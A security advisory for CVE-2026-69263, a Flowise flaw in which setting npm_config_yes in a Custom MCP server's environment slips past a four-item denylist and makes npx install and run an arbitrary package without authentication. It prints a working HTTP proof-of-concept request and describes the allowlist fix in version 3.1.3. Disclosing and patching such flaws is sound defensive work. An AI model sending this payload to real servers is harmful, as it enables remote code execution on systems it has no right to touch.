highCVE-2026-69263Aug 4, 2026

CVE-2026-69263: Flowise MCP Environment Variable Blocklist Bypass (Unauthenticated RCE)

Rohit Hatagale
AI Security Researcher, SecureLayer7

A patch meant to stop Flowise from auto-installing arbitrary npm packages can be bypassed by setting npm_config_yes in the MCP server environment, letting an unauthenticated attacker run arbitrary…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69263: Flowise MCP Environment Variable Blocklist Bypass (Unauthenticated RCE)

The problem

Flowise's Custom MCP feature validates user-supplied environment variables against a hardcoded four-item denylist: PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS. Any variable not on that list passes through to the child process with no further checks.

npm reads its own configuration from npm_config_* environment variables. Setting npm_config_yes=true is functionally identical to passing --yes on the npx command line, which the flag-level check does block. The environment check is blind to this and allows it through.

On a default Flowise deployment, which ships with no authentication, any network-reachable client can trigger this.

Proof of concept

A working proof-of-concept for CVE-2026-69263 in flowise, with the exact payload below.

http
POST /api/v1/prediction/{chatflow_id} HTTP/1.1
Host: target:3000
Content-Type: application/json

{
  "question": "hi",
  "overrideConfig": {
    "mcpServerConfig": {
      "mcpServers": {
        "bypass": {
          "command": "npx",
          "args": ["malicious-package"],
          "env": {
            "npm_config_yes": "true"
          }
        }
      }
    }
  }
}

validateCommandFlags correctly blocks -y and --yes in the args array. validateEnvironmentVariables only checks the exact string keys PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, and NODE_OPTIONS, so npm_config_yes passes validation and is forwarded to the child process. npm reads npm_config_yes as the yes configuration option, causing npx to auto-install and execute the named package without prompting.

This is CWE-184: the denylist cannot enumerate every variable that influences child-process behavior. The patch in 3.1.3 (PR #6471) removes the denylist entirely and replaces it with an operator-controlled allowlist via CUSTOM_MCP_ALLOWED_ENV_VARS, so only explicitly permitted variables are forwarded.

The fix

Upgrade to Flowise 3.1.3. The fix (commit a4c4e4988, PR #6471) removes the hardcoded denylist and replaces it with an operator-controlled allowlist read from the CUSTOM_MCP_ALLOWED_ENV_VARS environment variable (comma-separated names, empty means none are allowed), so only explicitly permitted variables reach the child process.

Enabling the MCP security check (CUSTOM_MCP_SECURITY_CHECK=true) does not stop this bypass: the published proof of concept runs with that check enabled, so it is not a workaround. If you cannot upgrade immediately, do not expose the Flowise API without authentication, and strip or allowlist the child-process environment before it is forwarded.

Reported by solh.

References: [1][2][3][4][5]

Related research